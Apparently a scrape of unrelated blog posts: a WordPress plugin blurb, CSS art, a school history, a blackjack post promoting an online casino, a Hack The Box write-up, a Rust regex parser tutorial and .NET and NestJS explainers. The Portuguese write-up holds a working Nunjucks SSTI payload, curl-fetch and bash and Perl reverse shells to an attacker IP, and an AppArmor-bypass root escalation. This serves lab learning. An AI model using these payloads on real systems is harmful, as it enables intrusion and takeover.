Security is a priority. The plugin ensures all variables and options are properly escaped to prevent cross-site scripting (XSS) vulnerabilities. It also prevents direct file access to plugin files, enhancing your site’s security. The plugin declares a GPL-compatible license, aligning with WordPress’s philosophy, and is tested up to the latest WordPress version for compatibility.
**Visual Feedback and Accessibility**
The plugin provides clear visual cues for its status in the dashboard. When WebP conversion is enabled, the status message is displayed in bold green; when disabled, it appears in bold red. This simple visual feedback ensures administrators can quickly see the plugin’s status at a glance, enhancing usability and accessibility.
By following these steps, you can effectively optimize photos in 6 steps on your WordPress website using the “Convert JPG, PNG to WebP Pro” plugin. This plugin not only helps improve the loading speed of your website but also enhances user experience by ensuring images load quickly without compromising on quality.

## Inspiration
Brazil, almost in its entirety, is located in the Southern Hemisphere, which means that in June temperatures begin to drop. So it's time to take the covers out of the closet, rediscover your winter clothes, and start dreaming about typical dishes. When I think about this season the first thing that comes to mind is the hot chocolate that my mother makes every year. This drink has a sentimental flavor, it is the comfort of winter and I would like to share it.
## Demo
Here it is, a mug of chocolate. Unfortunately, it has already been waiting for you for a while while you finished a game of chess with your cat and it is no longer warm.

## Journey
When the DEV Community released the first frontend challenge I was so excited about contributing and participating but at the time I had no experience with CSS art, so I started searching about the topic and found CSSBattle. I joined some challenges last month to learn how to use CSS proprieties to draw shapes. I struggled at first, like everything we start learning but it worthed and I'm proud of my everyday results. As you can see, there's no smoke in this "hot" chocolate cause I don't know yet how to do it, of course, there are a lot of tutorials but due to the submission, I wasn't about to take the time and learn how to do it. If I have done a hot chocolate for today it will be a copied hot chocolate mug and this isn't the way I like to deceive my learning progress.
Soon, I'll take time to learn how to do hot chocolate and other things with vapor or the same logic used. Also, I'd like to add the chess table and the cat (of course).
To finish, I'd like to thank all de DEV members for making this community a safe space to learn and share many things.

Membuat Romo Ajoyo Saputro dan para Romo Jesuit dan Suster Carolus mengambil langkah untuk mendirikan SMA Kanisius, yang sekarang ini dikenal sebagai SMA Stella Duce 1.
Awalnya, SMA Kanisius ini menumpang di ruang atas milik SMK Bruderan Kidulogi. Selama masa Indonesia kala itu, sekolah ini mengalami banyak rintangan dan tantangan, termasuk serangan Belanda pada Agresi Militer II yang membuat semua sekolah harus ditutup sementara, termasuk SMA Kanisius ini. Namun, karena semangat untuk terus memberikan pendidikan yang layak dan terbaik untuk para siswa dan siswa, sekolah akhirnya mulai dibuka lagi pada 1 Maret 1949, dan terus mengalami perkembangan yang pesat.
Dulunya SMA Kanisius Yogyakarta ini dibagi jadi dua jurusan, yaitu jurusan A yang sekarang menjadi jurusan Bahasa, dan jurusan B yang sekarang menjadi jurusan MIPA. Seiring waktu, nama sekolah SMA Kanisius ini berubah menjadi SMA Stella Duce, yang punya arti “Bintang Pembimbing”.

1,881,326 | Black Jack Oyunun Kuralları ve Stratejileri | Giriş Merhaba! Black Jack, diğer adıyla 21, şans ve strateji gerektiren oldukça eğlenceli bir kart... | 0 | 2024-06-08T13:11:21 | https://dev.to/bahisever/black-jack-oyunun-kurallari-ve-stratejileri-6l9 | maltcasino, blackjack | Giriş
Merhaba! Black Jack, diğer adıyla 21, şans ve strateji gerektiren oldukça eğlenceli bir kart oyunu. Hem fiziksel casinolarda hem de çevrimiçi platformlarda çok popüler olan bu oyunu siz de rahatlıkla oynayabilir, kazanmanın keyfini çıkarabilirsiniz. Ben de bu yazıda Black Jack’in temel kurallarını ve stratejilerini anlatacağım. Ayrıca, bu heyecan verici oyunu Maltcasino’da nasıl daha fazla keyifle oynayabileceğinizi ve kazanç sağlayabileceğinizi paylaşacağım.
Black Jack Kuralları
Black Jack’in kurallarını öğrenmek oldukça basit. Bu oyunun amacı, elinizdeki kartların toplam değerini 21'e yaklaştırmak ama bu değeri aşmamaktır. Yani 21’e en yakın olan kazanır! İşte oyunun temel kuralları:
1.Kartların Değerleri**:
- **As**: 1 veya 11 değerinde olabilir, hangisi işinize gelirse.
- **10'lu Kartlar (Vale, Kız, Papaz)**: Hepsi 10 puan.
- **Diğer Kartlar**: Üzerinde yazan değeri taşır.
2.Oyunun Gidişatı:
- Oyuna başlarken siz ve krupiye ikişer kart alırsınız. Sizin kartlarınız açıkta, krupiyenin bir kartı kapalı.
- Kartlarınızın toplam değeri 21’i geçmeden, istediğiniz kadar kart çekebilirsiniz (hit). Veya durabilirsiniz (stand).
- Eğer toplam değeriniz 21'i geçerse kaybedersiniz (bust).
3.Nasıl Kazanırsınız?:
- Eğer elinizin toplam değeri 21’i geçmeden krupiyeden daha yüksek olursa kazanırsınız. Kazandığınızda genelde 1:1 oranında ödeme alırsınız.
- Eğer 21’e tam olarak ulaşırsanız, bu Black Jack olur ve 3:2 oranında ödeme alırsınız.
Black Jack Stratejileri
Black Jack sadece şansla değil, aynı zamanda stratejiyle de oynanır. İşte kazanma şansınızı artıracak bazı ipuçları:
1.Temel Strateji Tablosu:
Temel strateji tablosu, hangi kartlarla nasıl hareket etmeniz gerektiğini gösterir. Bu tabloyu kullanarak hangi durumda kart çekmeniz veya durmanız gerektiğine karar verebilirsiniz.
2. Kart Sayma:
Kart sayma biraz daha gelişmiş bir strateji ve kartları takip ederek kalan kartların değerini tahmin etmeye dayanır. Ancak bu strateji, çoğu casino tarafından hoş karşılanmaz ve uygulanması zor olabilir.
3.Sigorta Bahsinden Kaçının:
Krupiye bir As gösterdiğinde, sigorta bahsi yapma seçeneğiniz vardır. Ancak bu genellikle uzun vadede zarara neden olur. Bu nedenle sigorta bahsinden uzak durmanız tavsiye edilir.
4.İkiye Katlama (Doubling Down)**:
Eğer elinizin toplam değeri 9, 10 veya 11 ise ve krupiyenin açık kartı düşükse, bahsinizi artırabilirsiniz. Bu strateji, kazanma şansınızı ve kazancınızı artırır.
5.Ayrı Oynama (Splitting)**:
Eğer aynı değerde iki kart alırsanız, bu kartları iki ayrı el olarak oynayabilir ve bahsinizi ikiye katlayabilirsiniz. Özellikle çift 8 veya As aldığınızda, ayrılmak iyi bir hamle olabilir.
Maltcasino’da Black Jack Oynayarak Daha Fazla Keyif ve Kazanç

Neste writeup iremos explorar uma máquina linux de nível easy que ja se encontra entre as máquinas aposentadas. Esta máquina aborda as seguintes vulnerabilidades:
- **Server Side Template Injection em aplicações NodeJS**
- **Linux capabilities**
- **Bypass Apparmor**
### Recon e user flag
Iniciaremos realizando uma varredura em nosso alvo a procura de portas abertas através do nmap:
```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# nmap -sV --open -Pn 10.129.95.252
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-27 10:28 EST
Nmap scan report for 10.129.95.252
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
Ao acessar via IP a porta 80 somos redirecionados para a porta 443 que possui HTTPS.
Vamos adicionar o domínio que retorna no certificado ssl **nunchucks.htb** em nosso **/etc/hosts**.
E ao acessarmos novamente temos a seguinte página:
Está pagina possui somente duas opções via api, login e register. No entanto não foram encontradas vulnerabilidades ou meios de exploração devido a opção estar desabilitada.
Vamos utilizar o gobuster para buscar subdomínios:
```jsx
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# wfuzz -H "Host: FUZZ.nunchucks.htb" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hh 30587 https://nunchucks.htb
********************************************************

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000193: 200 101 L 259 W 4028 Ch "store"
```
Localizamos o subdomínio **store.nunchucks.htb,** vamos adicionar em nosso **/etc/hosts** também. O novo subdomínio possui o seguinte conteúdo:
Existe um campo para assinatura de um newsletter e podemos constatar que o mesmo é vulnerável a **SSTI** (**Server Side Template Injection**):
Interceptando as requisições com o Burp Suite como proxy conseguimos testar diversos payloads para **SSTI** buscando execução de comandos.
No entanto, precisamos primeiro entender o que esta processando os dados que enviamos, qual o tipo de template que a aplicação esta usando.
Analisando as requisições e respostas através do burp suite encontramos o header **X-Powered-By: Express**
O Express é um framework web para NodeJS. E a partir daqui conseguimos visualizar os templates engine que o mesmo utiliza:
[Template Engines](https://expressjs.com/en/resources/template-engines.html)
Dentre os templates temos o seguinte que nos chama atenção pelo seu nome:
[https://github.com/mozilla/nunjucks](https://github.com/mozilla/nunjucks)
Aqui nosso foco se torna criar um payload que nos permite executar comandos em nosso alvo.
Conseguimos com a seguinte requisição:
```
POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=ccjKRgyMzBCAko0I10C2MKXv
Content-Length: 128

Connection: close
{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('curl 10.10.14.128:8081/test123')")()}}"}
```
Para testar o funcionamento iremos subir um servidor web utilizando python da seguinte forma e executar a requisição acima, tendo o seguinte retorno:
```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.95.252 - - [28/Jan/2024 07:54:40] code 404, message File not found
10.129.95.252 - - [28/Jan/2024 07:54:40] "GET /test123 HTTP/1.1" 404 -
```
Foi executado com sucesso um curl para nossa máquina, batendo no endpoint que não existe, retornando o status code 404.
Agora que temos um RCE podemos utilizar para realizar o download e executar nosso reverse shell, da mesma forma que o exemplo acima.
Iremos criar o arquivo chamado [rev.sh](http://rev.sh) com o seguinte conteúdo:
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.128/9001 0>&1
```
Para realizar o download basta alterarmos nosso payload da seguinte forma:
```bash
{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('curl 10.10.14.128:8081/rev.sh -o /tmp/rev.sh')")()}}"}
```
E temos o retorno em nosso servidor web python que o alvo conseguiu encontrar o arquivo:
```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.95.252 - - [28/Jan/2024 07:54:40] code 404, message File not found
10.129.95.252 - - [28/Jan/2024 07:54:40] "GET /test123 HTTP/1.1" 404 -
10.129.95.252 - - [28/Jan/2024 07:57:52] "GET /rev.sh HTTP/1.1" 200 -
```
Com nosso reverse shell ja no alvo, através de uma aba do terminal iremos utilizar o pwncat para ouvir na porta 9001:
```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9001
[07:55:13] Welcome to pwncat 🐈!
```
E iremos alterar nosso payload para executar nosso reverse shell, da seguinte forma:
```bash
{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash /tmp/rev.sh')")()}}"}
```
Com estes passos conseguimos o seguinte retorno em nosso pwncat, com nosso shel reverso:
```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9001
[07:55:13] Welcome to pwncat 🐈! __main__.py:164
[07:58:30] received connection from 10.129.95.252:60400 bind.py:84

(remote) david@nunchucks:/var/www/store.nunchucks$ id
uid=1000(david) gid=1000(david) groups=1000(david)
```
Conseguindo assim a user flag:
```bash
(remote) david@nunchucks:/var/www/store.nunchucks$ ls -alh /home/
total 12K

```
### Escalação de privilégios e root flag
Visando automatizar o processo de recon de nosso alvo, uma vez que temos um shell como usuário, vamos utilizar o linpeas.
O linpeas se trata de um script que realiza uma varredura no alvo levantando diversos pontos que possivelmente podem ser explorados para escalar privilégios, seja obter dados sensíveis, permissionamento, capabilities e diversos outros pontos.
Em nosso caso, dentre todas possibilidades que retornaram no output do script, temos o seguinte:
```bash
-rw-rw-r-- 1 root david 7651273 Sep 26 2021 /opt/web_backups/backup_2021-09-26-1632618416.tar
-rw-rw-r-- 1 root david 7651273 Sep 26 2021 /opt/web_backups/backup_2021-09-26-1632619104.tar
-rwxr-xr-x 1 root root 838 Sep 1 2021 /opt/backup.pl
```
É um script feito em perl que possui o seguinte conteúdo:
```perl
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0);
my $tmpdir = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";
sub printlog
{
print "[", strftime("%D %T", localtime), "] $_[0]\n";
}
sub archive
{
printlog "Archiving...";
system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
printlog "Backup complete in $tmpbdir/backup_$now.tar";
}
if ($> != 0) {
die "You must run this script as root.\n";
}
printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
```
O script realiza o backup de **/var/www** e salva o arquivo compactado em /opt/web_backups/.
Mas realizando o download do backup e visualizando o banco de dados (que também podemos acessar o atual) não foi encontrado nenhuma informação útil que possa ser utilizada para escalar privilégios. Existe o banco de dados da aplicação que é um sqlite, mas sem nada interessante também.
Outro ponto, que é o mais importante do output do linpeas é o seguinte:
```perl
Files with capabilities (limited to 50):
/usr/bin/perl = cap_setuid+ep
```
O binário do perl possui a capabilitie **cap_setuid**, que permite que seja setado o uid através do binário perl, permitindo usuários sem privilégios executarem (+ep).
[setuid(2) - Linux manual page](https://man7.org/linux/man-pages/man2/setuid.2.html)
Podemos testar a execução de alguns comandos utilizando o perl via linha de comando que ver o que conseguimos executar como root:
```perl
(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
```
O comando acima, assim como o script de backup, seta o uid para 0, que é do usuário root e executa o **/bin/bash** para criar um novo shell como root. Mas sem sucesso.
Ao alterar o comando para **whoami** temos sucesso:
```perl
(remote) david@nunchucks:/tmp$ id
uid=1000(david) gid=1000(david) groups=1000(david)
(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root
```
Mas outros comandos para tentar executar um shell não funciona, como por exemplo o seguinte:
```perl
(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); use Socket;$i="10.10.14.128";$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
```
O comando acima tenta após setar o user id para 0 criar uma conexão reversa com a nossa máquina na porta **9002** (que estamos ouvindo através do **pwncat** em outra aba do terminal).
A conexão é enviada para nosso pwncat, mas ela é encerrada logo em seguida:
```bash
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9002
[09:48:04] Welcome to pwncat 🐈! __main__.py:164
[13:45:32] received connection from 10.129.95.252:37184 bind.py:84
[13:45:32] connection failed: channel unexpectedly closed manager.py:957
(local) pwncat$
```
Aqui temos uma pergunta a ser respondida, por que alguns comandos funcionam e outros não.
Vemos que conseguimos executar o comando id também:
```perl
(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "id";'
uid=0(root) gid=1000(david) groups=1000(david)
```
Não obtivemos sucesso tentando executar um script ou um simples cat.
Existem regras que podem limitar a execução em binários, através do **SELinux** ou **Apparmor**. Em nosso caso é o Appamor, por se tratar de um ubuntu.
Verificando o apparmor encontramos a seguinte regra:
```perl
(remote) david@nunchucks:/etc/apparmor.d$ ls -alh

O apparmor é um MAC (Mandatory Access Control) que é implementado no kernel do linux visando controlar e limitar determinados recursos, como programas, binários e etc.
Continuando na saga para escalar privilégios para root podemos ponderar alguns pontos:
- Somente determinados comandos conseguem ser executados devido ao apparmor
- Não conseguimos executar nada no diretório /root, devido ao apparmor
No entanto, seguindo passos similares ao que ja tentamos foi possível executar o seguinte.
Primeiro criamos um script em perl setando o user id para 0 e executando nosso reverse shell, com o seguinte conteúdo:
```perl
#!/usr/bin/perl
use POSIX qw(setuid); POSIX::setuid(0);
use Socket;$i="10.10.14.128";$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};s
```
E ao executar nosso script:
```perl
(remote) david@nunchucks:/home/david$ ./exp.pl
```
Temos o seguinte retorno em nosso pwncat:
```perl

```
Buscando entender o por que do script ter executado, ao contrário da mesma execução via linha de comando foi encontrado o seguinte bug:
[Bug #1911431 “Unable to prevent execution of shebang lines” : Bugs : AppArmor](https://bugs.launchpad.net/apparmor/+bug/1911431)
Basicamente o shebang (#!) faz com que o perl ignore o apparmor e execute sem restrições.
Com isso conseguimos nossa shell como usuário root:
```perl

```
Conseguindo assim a root flag e finalizando a máquina Nunchucks :)

1,881,323 | Learning Rust: Recursive Descent Parser | Introduction A regular expression specifies a pattern of characters within some text. In... | 0 | 2024-06-08T13:06:40 | https://dev.to/prefixsum/learning-rust-by-parsing-regex-with-recursive-descent-23cm | rust, regex | ## Introduction
A regular expression specifies a pattern of characters within some text.
In order to validate a string against a regular expression, we must first convert the regular expression to a **parse tree**. This acts as a blueprint for the syntax and structure of the regular expression.
This article covers the implementation of a Rust program which converts a given expression to a parse tree.
## Grammar
Let's begin by defining a grammar for regular expressions, as per [Denis Kyashif's rules](https://deniskyashif.com/2020/08/17/parsing-regex-with-recursive-descent/).
### Characters
The basis of a regular expression is a **character**:
- A literal character (e.g., `a`)
- An escaped character (e.g., `\n`)
- A wildcard to match any character (`.`).
```
<Character> ::= <char> | '\'<char> | '.'
```
### Quantifiers
A character can be **quantified**:
- Zero or one (`?`)
- Zero or more (`*`)
- One or more (`+`)
```
<Character> ::= <char> | '\'<char> | '.'
<Quantifier> ::= '?' | '*' | '+'
```
A character may or may not be quantified.
We can encapsulate both cases within a single unit, called a **factor**, which will simplify the recursion logic and make it easier to extend.
```
<Factor> ::= <Character> | <Character><Quantifier>
<Character> ::= <char> | '\'<char> | '.'
<Quantifier> ::= '?' | '*' | '+'
```
### Concatenation
Expressions are often sequences of two or more of these units.
A **term** encapsulates this logic by defining either a factor, or the concatenation of a factor and term. This allows us to represent multiple concatenations as nested terms.
```
<Term> ::= <Factor> | <Factor><Term>
<Factor> ::= <Character> | <Character><Quantifier>
<Character> ::= <char> | '\'<char> | '.'
<Quantifier> ::= '?' | '*' | '+'
```
### Groups
Terms may contain a pattern within parentheses, referred to as a group.
Logically, a group can be treated the same way as a character; it may be quantified, and then concatenated to other factors within a term.
We'll introduce the **atom**, which represents either a character, or a term within parentheses. The factor is redefined in terms of the atom.
```
<Term> ::= <Factor> | <Factor><Term>
<Factor> ::= <Atom> | <Atom><Quantifier>
<Atom> ::= <Character> | '('<Term>')'
<Character> ::= <char> | '\'<char> | '.'
<Quantifier> ::= '?' | '*' | '+'
```
### Union
Finally, we may have a union (i.e., logical `OR`) between two or more terms.
Similarly to concatenation, we can encapsulate this logic by defining an **expression** as either a term, or the union of a term and an expression separated by a pipe (`|`).
The atom is redefined in terms of the expression.
```
<Expression> ::= <Term> | <Term>'|'<Expression>
<Term> ::= <Factor> | <Factor><Term>
<Factor> ::= <Atom> | <Atom><Quantifier>
<Atom> ::= <Character> | '('<Expression>')'
<Character> ::= <char> | '\'<char> | '.'
<Quantifier> ::= '?' | '*' | '+'
```
## Types
Defining these types within Rust is quite straightforward. Each is implemented as an `enum` in a type hierarchy.
However, as the size of the data structure could potentially become infinite, we must box the recursive structures using `Box`.
```rust
pub enum Expression {
Term(Box<Term>),
Or(Box<Term>, Box<Expression>),
}
pub enum Term {
Factor(Box<Factor>),
Sequence(Box<Factor>, Box<Term>),
}
pub enum Factor {
Atom(Box<Atom>),
Quantified(Box<Atom>, Box<Quantifier>),
}
pub enum Atom {
Character(Character),
Expression(Box<Expression>),
}
pub enum Character {
Literal(char),
Escaped(char),
Any,
}
pub enum Quantifier {
ZeroOrOne,
ZeroOrMore,
OneOrMore,
}
```
## Parsing
The grammar that we defined is a **context-free grammar**.
Each rule maps a single non-terminal symbol on the left (e.g., `<Expression>`) to a sequence of terminal and/or non-terminal symbols on the right (e.g., `<Term> | <Term>'|'<Expression>`).
In other words, our grammar is linear and sequential. We can handle each symbol as it is encountered by iterating over the input string.
## Design
A few observations will influence our design:
- The **expression** represents the top of the hierarchy.
- The basis of recursion lies within the **atom**, which may link back to an **expression**.
- The **character** is the base case, where recursion is due to stop.
Using this, we may consider a modular approach loosely mapped our types:
```rust
impl Expression {
pub fn new(expression: &str) -> Self {
/// Return parse_expression
}
fn parse_expression(...) -> Expression {
/// Base: Return Expression::Term(parse_term(...))
/// General: Return Expression::Or(parse_term(...), parse_expression(...))
}
fn parse_term(...) -> Term {
/// Base: Return Term::Factor(parse_factor(...))
/// General: Return Term::Sequence(parse_factor(...), parse_term(...))
}
fn parse_factor(...) -> Factor {
/// Base 1: Return Factor::Atom(parse_atom(...))
/// Base 2: Return Factor::Quantified(parse_atom(...), Quantifier)
}
fn parse_atom(...) -> Atom {
/// Base: Return Atom::Character(Character)
/// General: Return Atom::Expression(parse_expression(...))
}
}
```
### Iterator
If you're obserant, you'll notice the `...` in the function signatures.
Rather than passing a string around, we'll convert the string into an iterator of characters (`.chars()`).
We'll then make the iterator **peekable**, allowing us to to **peek** at the next element without consuming it. Otherwise, we **consume** the current element.
```rust
pub fn new(expression: &str) -> Self {
let mut chars = expression.chars().peekable();
Self::parse_expression(&mut chars)
}
fn parse_expression(chars: &mut Peekable<Chars>) -> Expression {
/// ...
}
fn parse_term(chars: &mut Peekable<Chars>) -> Term {
/// ...
}
fn parse_factor(chars: &mut Peekable<Chars>) -> Factor {
/// ...
}
fn parse_atom(chars: &mut Peekable<Chars>) -> Atom {
/// ...
}
```
## Implementation
You can view my full implementation of `grammar.rs` here:
> https://github.com/prefixsum/regex-fsm/blob/main/src/grammar.rs
```rust
impl Expression {
pub fn new(expression: &str) -> Self {
let mut chars = expression.chars().peekable();
Self::parse_expression(&mut chars)
}
fn parse_expression(chars: &mut Peekable<Chars>) -> Expression {
let term = Self::parse_term(chars);
if chars.peek() == Some(&'|') {
chars.next();
let expression = Self::parse_expression(chars);
Expression::Or(Box::new(term), Box::new(expression))
} else {
Expression::Term(Box::new(term))
}
}
fn parse_term(chars: &mut Peekable<Chars>) -> Term {
let factor = Self::parse_factor(chars);
if let Some(&next) = chars.peek() {
if next != '|' && next != ')' {
let term = Self::parse_term(chars);
return Term::Sequence(Box::new(factor), Box::new(term));
}
}
Term::Factor(Box::new(factor))
}
fn parse_factor(chars: &mut Peekable<Chars>) -> Factor {
let atom = Self::parse_atom(chars);
match chars.peek() {
Some(&'?') => {
chars.next();
Factor::Quantified(Box::new(atom), Box::new(Quantifier::ZeroOrOne))
}
Some(&'*') => {
chars.next();
Factor::Quantified(Box::new(atom), Box::new(Quantifier::ZeroOrMore))
}
Some(&'+') => {
chars.next();
Factor::Quantified(Box::new(atom), Box::new(Quantifier::OneOrMore))
}
_ => Factor::Atom(Box::new(atom)),
}
}
fn parse_atom(chars: &mut Peekable<Chars>) -> Atom {
match chars.next() {
Some('(') => {
let expression = Self::parse_expression(chars);
chars.next();
Atom::Expression(Box::new(expression))
}
Some('\\') => {
let escaped_char = chars.next().expect("Expected character after backslash");
Atom::Character(Character::Escaped(escaped_char))
}
Some('.') => Atom::Character(Character::Any),
Some(literal) => Atom::Character(Character::Literal(literal)),
None => panic!("Unexpected end of input while parsing atom"),
}
}
}
```
## Tests
As the parse trees have a lot of boiler plate, writing unit tests felt like a brainteaser.
For example, the expression `"a"` converts to a `Term(Factor(Atom(Character(Literal('a')))))`.
Here is my test suite:
```rust
#[cfg(test)]
#[test]
fn test_expression() {
assert_eq!(
Expression::new("a"),
Expression::Term(Box::new(Term::Factor(Box::new(Factor::Atom(Box::new(
Atom::Character(Character::Literal('a'))
))))))
)
}
#[test]
fn test_escaped() {
assert_eq!(
Expression::new("\\*"),
Expression::Term(Box::new(Term::Factor(Box::new(Factor::Atom(Box::new(
Atom::Character(Character::Escaped('*'))
))))))
)
}
#[test]
fn test_any() {
assert_eq!(
Expression::new("."),
Expression::Term(Box::new(Term::Factor(Box::new(Factor::Atom(Box::new(
Atom::Character(Character::Any)
))))))
)
}
#[test]
fn test_sequence() {
assert_eq!(
Expression::new("ab"),
Expression::Term(Box::new(Term::Sequence(
Box::new(Factor::Atom(Box::new(Atom::Character(Character::Literal(
'a'
))))),
Box::new(Term::Factor(Box::new(Factor::Atom(Box::new(
Atom::Character(Character::Literal('b'))
)))))
)))
)
}
#[test]
fn test_triple_sequence() {
assert_eq!(
Expression::new("abc"),
Expression::Term(Box::new(Term::Sequence(
Box::new(Factor::Atom(Box::new(Atom::Character(Character::Literal(
'a'
))))),
Box::new(Term::Sequence(
Box::new(Factor::Atom(Box::new(Atom::Character(Character::Literal(
'b'
))))),
Box::new(Term::Factor(Box::new(Factor::Atom(Box::new(
Atom::Character(Character::Literal('c'))
)))))
))
)))
)
}
#[test]
fn test_quantifier() {
assert_eq!(
Expression::new("ab*c"),
Expression::Term(Box::new(Term::Sequence(
Box::new(Factor::Atom(Box::new(Atom::Character(Character::Literal(
'a'
))))),
Box::new(Term::Sequence(
Box::new(Factor::Quantified(
Box::new(Atom::Character(Character::Literal('b'))),
Box::new(Quantifier::ZeroOrMore)
)),
Box::new(Term::Factor(Box::new(Factor::Atom(Box::new(
Atom::Character(Character::Literal('c'))
)))))
))
)))
)
}
#[test]
fn test_disjunction() {
assert_eq!(
Expression::new("a|b"),
Expression::Or(
Box::new(Term::Factor(Box::new(Factor::Atom(Box::new(
Atom::Character(Character::Literal('a'))
))))),
Box::new(Expression::Term(Box::new(Term::Factor(Box::new(
Factor::Atom(Box::new(Atom::Character(Character::Literal('b'))))
))))),
)
)
}
#[test]
fn test_group() {
assert_eq!(
Expression::new("(a)b"),
Expression::Term(Box::new(Term::Sequence(
Box::new(Factor::Atom(Box::new(Atom::Expression(Box::new(
Expression::Term(Box::new(Term::Factor(Box::new(Factor::Atom(Box::new(
Atom::Character(Character::Literal('a'))
))))))
))))),
Box::new(Term::Factor(Box::new(Factor::Atom(Box::new(
Atom::Character(Character::Literal('b'))
)))))
)))
)
}
```

## Understanding DotNet and Its Runtime 🌐
Today, let’s dive into the fascinating world of DotNet and explore how it operates under the hood. Whether you're crafting a console application or an ASP.NET site, the journey your C# code takes from writing to execution is both intricate and intriguing. Let’s break it down step by step! 🛠️
## From Code to Intermediate Language (IL) 📝➡️🔄
When you write C# code, the Roslyn compiler steps in to convert it into Intermediate Language (IL). This phase, known as compile time, is when your code is transformed from human-readable form to IL. But why IL? Why not compile directly to assembly code? 🤔
The magic lies in the flexibility of the DotNet Framework. Designed to be platform-agnostic, DotNet can run on various environments like Windows, Mac, and Android. Each environment has its own Common Language Runtime (CLR), optimized for that specific platform. This means your IL code can be executed across different systems, providing a versatile and powerful runtime architecture. 🌍✨
## The Role of the Common Language Runtime (CLR) ⏳
At runtime, the CLR takes over. It’s responsible for executing the IL code. Within the CLR, there’s a critical component known as the Just-In-Time (JIT) compiler, which compiles the IL into native machine code just before execution, ensuring efficiency and speed. 🚀
But that’s not all! The CLR also includes the Common Language Specification (CLS) and the Common Type Specification (CTS), which ensure interoperability and consistency across different programming languages. 🛡️
### Common Language Specification (CLS) 🔄
The CLS sets the rules for how different languages can interoperate. For instance, in VB.NET, you don’t need to end statements with a semicolon, whereas in C#, it’s mandatory. These rules ensure that code written in one language can interact seamlessly with code written in another. 🌐
### Common Type Specification (CTS) 📋
The CTS defines how data types are declared and used. For example, C# uses `int` while VB.NET uses `Integer`, but under the hood, both are represented as `Int32`. The CTS also determines the storage strategy, deciding whether a value type is stored in the stack or a reference type in the heap. 🗃️
## The Base Class Library (BCL) 📚
Alongside the CLR is the Base Class Library (BCL), which houses essential libraries like `List` and `Dictionary`. The BCL provides the foundational components that developers use every day, ensuring consistency and reliability across different platforms. 🏛️
## Custom Classes and Runtime Environments 🛠️
Depending on your operating system, different runtimes come into play. For Windows, you have the Windows Runtime; for Mac, the Mac Runtime. This flexibility extends to using custom classes, or Custom Object Libraries, which allow unmanaged applications to connect directly to the operating system. This customization offers tremendous power and adaptability in software development. 🌟
## Summary 📜
In summary, DotNet's architecture is a harmonious blend of the CLR, CLS, CTS, and BCL, all working together to provide a robust and versatile runtime environment. This design allows DotNet applications to run seamlessly across different platforms, offering developers a powerful toolkit for building diverse applications.

1,881,321 | Event-Driven Architecture with NestJS: Using the EventEmitter Module | In today's software development landscape, building scalable and maintainable applications is a... | 0 | 2024-06-08T12:58:34 | https://dev.to/ezilemdodana/event-driven-architecture-with-nestjs-using-the-eventemitter-module-35fe | nestjs, typescript, backend, eventdriven | In today's software development landscape, building scalable and maintainable applications is a primary concern for developers. Event-driven architecture (EDA) is a powerful design pattern that helps address these concerns by promoting decoupled and asynchronous communication between different parts of a system. NestJS, a progressive Node.js framework, provides robust support for EDA through its EventEmitter module. This article explores the benefits of EDA and demonstrates how to implement it using the EventEmitter module in a NestJS application.
**Understanding Event-Driven Architecture**
Event-driven architecture is a design paradigm in which system components communicate by producing and consuming events. An event is a significant change in state, such as a user action or system occurrence. This architecture consists of three main components:
1. Event Producers: Generate events when certain actions or changes occur.
2. Event Consumers: Listen for and react to specific events.
